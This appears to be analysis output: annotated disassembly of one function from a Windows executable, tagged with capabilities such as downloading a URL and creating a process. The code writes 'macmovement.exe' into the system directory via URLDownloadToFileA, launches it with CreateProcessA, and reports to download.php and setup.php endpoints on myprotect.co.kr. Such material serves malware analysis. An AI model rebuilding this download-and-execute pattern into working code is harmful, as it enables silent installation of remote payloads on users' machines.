Function at 0x405420
Capabilities:
Create process on windows
Create process suspended
Download url
Get common file path
Receive data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x42ccb2
push eax
mov dword fs:[0], esp
sub esp, 0x474
push ebp
mov ebp, ecx
push esi
push edi
mov eax, dword [ebp + 0x6c]
push 0x43a14c
push eax
call fcn.0040e6c8
add esp, 8
test eax, eax
je 0x405882
mov eax, dword [ebp + 0x8c]
test eax, eax
je 0x405882
mov eax, dword [ebp + 0x88]
test eax, eax
je 0x405485
mov eax, dword [ebp + 0x84]
test eax, eax
je 0x405485
mov eax, 1
jmp 0x405884
push 0
call fcn.0040eb5e
push eax
call fcn.0040eb2f
add esp, 8
call fcn.0040eb3c
cdq
mov ecx, 0x14
idiv ecx
mov esi, edx
test esi, esi
jne 0x4054ad
mov esi, 1
push 0x43eb64
lea ecx, [esp + 0x28]
call fcn.004212e1
push 0x43eb64
lea ecx, [esp + 0x18]
mov dword [esp + 0x48c], 0
call fcn.004212e1
test esi, esi
mov byte [esp + 0x488], 1
jle 0x40553d
call fcn.0040eb3c
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x41
push edx
lea edx, [esp + 0x28]
push 0x43a858
push edx
call fcn.0041cce9
add esp, 0xc
lea eax, [esp + 0x24]
lea ecx, [esp + 0x14]
lea edx, [esp + 0x20]
push eax
push ecx
push edx
call fcn.004214a2
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x48c], 2
call fcn.004213ac
lea ecx, [esp + 0x20]
mov byte [esp + 0x488], 1
call fcn.00421273
dec esi
jne 0x4054e0
push 0x43eb64
lea ecx, [esp + 0x10]
call fcn.004212e1
push 0x43eb64
lea ecx, [esp + 0x14]
mov byte [esp + 0x48c], 3
call fcn.004212e1
push str.cXxpeHh1Nmt3dQ
lea ecx, [esp + 0x1c]
mov byte [esp + 0x48c], 4
call fcn.004212e1
lea eax, [esp + 0x18]
mov ecx, ebp
push eax
mov byte [esp + 0x48c], 5
call fcn.00405180
mov cl, byte [0x43eb64]
xor eax, eax
mov byte [esp + 0x80], cl
mov ecx, 0xff
lea edi, [esp + 0x81]
lea edx, [esp + 0x80]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x400
push edx
mov dword [esp + 0x30], 0
mov dword [esp + 0x24], 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov edi, 0x43a198
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0x80]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.macmovement.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0x84]
mov ecx, edx
and ecx, 3
test eax, eax
rep movsb byte es:[edi], byte [esi]
jne 0x405730
mov eax, dword [esp + 0x18]
push str.macmovement.exe
push eax
lea ecx, [esp + 0x14]
push str.http:___s_P__s
push ecx
call fcn.0041cce9
add esp, 0x10
lea edx, [esp + 0x1c]
lea eax, [esp + 0xc]
mov ecx, ebp
push edx
push eax
call fcn.00404670
mov edx, dword [esp + 0xc]
push 0
lea ecx, [esp + 0x84]
push 0
push ecx
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileA
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x40569a
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xc]
push eax
push ecx
mov ecx, ebp
call fcn.00404670
lea edx, [esp + 0x28]
lea eax, [esp + 0x80]
push edx
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.004212e1
mov ecx, ebp
call fcn.004058a0
test eax, eax
je 0x405730
mov ecx, dword [esp + 0x1c]
test ecx, ecx
jle 0x405730
mov eax, dword [esp + 0x28]
test eax, eax
jle 0x405730
cmp ecx, eax
jne 0x405730
push 0x43eb64
lea ecx, [esp + 0x10]
mov dword [ebp + 0x84], 1
call fcn.004213fc
mov ecx, dword [ebp + 0x6c]
mov edx, dword [ebp + 0x70]
mov eax, dword [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x18]
push str.myprotect.co.kr
push edx
push eax
push ecx
lea edx, [esp + 0x24]
push str.http:___s._s_APP_download.php_m_sd_sa_s
push edx
call fcn.0041cce9
add esp, 0x1c
lea eax, [esp + 0xc]
lea edx, [esp + 0x10]
push eax
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
call fcn.00420fe8
mov ecx, ebp
call fcn.00404520
mov eax, dword [ebp + 0x88]
test eax, eax
jne 0x405809
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x3c]
lea edx, [esp + 0x80]
rep stosd dword es:[edi], eax
mov dword [esp + 0x2c], eax
mov edi, str._sgi
mov dword [esp + 0x30], eax
or ecx, 0xffffffff
mov dword [esp + 0x34], eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x38], eax
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x2c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x40]
lea edx, [esp + 0x84]
push ecx
push 0
push 0
push 0x200
push 0
push 0
push 0
push edx
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
mov ecx, dword [ebp + 0x70]
mov edx, dword [esp + 0x18]
mov dword [ebp + 0x88], eax
mov eax, dword [ebp + 0x6c]
push eax
mov eax, dword [esp + 0x18]
push str.myprotect.co.kr
push ecx
push edx
push eax
lea ecx, [esp + 0x24]
push str.http:___s._s_APP_setup.php_m_sd_sa_s
push ecx
call fcn.0041cce9
mov eax, dword [ebp + 0x88]
add esp, 0x1c
test eax, eax
je 0x405809
lea edx, [esp + 0xc]
lea eax, [esp + 0x10]
push edx
push ecx
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00420fe8
mov ecx, ebp
call fcn.00404520
mov eax, dword [ebp + 0x84]
test eax, eax
je 0x405824
mov eax, dword [ebp + 0x88]
test eax, eax
je 0x405824
mov esi, 1
jmp 0x405826
xor esi, esi
lea ecx, [esp + 0x18]
mov byte [esp + 0x488], 4
call fcn.00421273
lea ecx, [esp + 0x10]
mov byte [esp + 0x488], 3
call fcn.00421273
lea ecx, [esp + 0xc]
mov byte [esp + 0x488], 1
call fcn.00421273
lea ecx, [esp + 0x14]
mov byte [esp + 0x488], 0
call fcn.00421273
lea ecx, [esp + 0x24]
mov dword [esp + 0x488], 0xffffffff
call fcn.00421273
mov eax, esi
jmp 0x405884
xor eax, eax
mov ecx, dword [esp + 0x480]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebp
add esp, 0x480
ret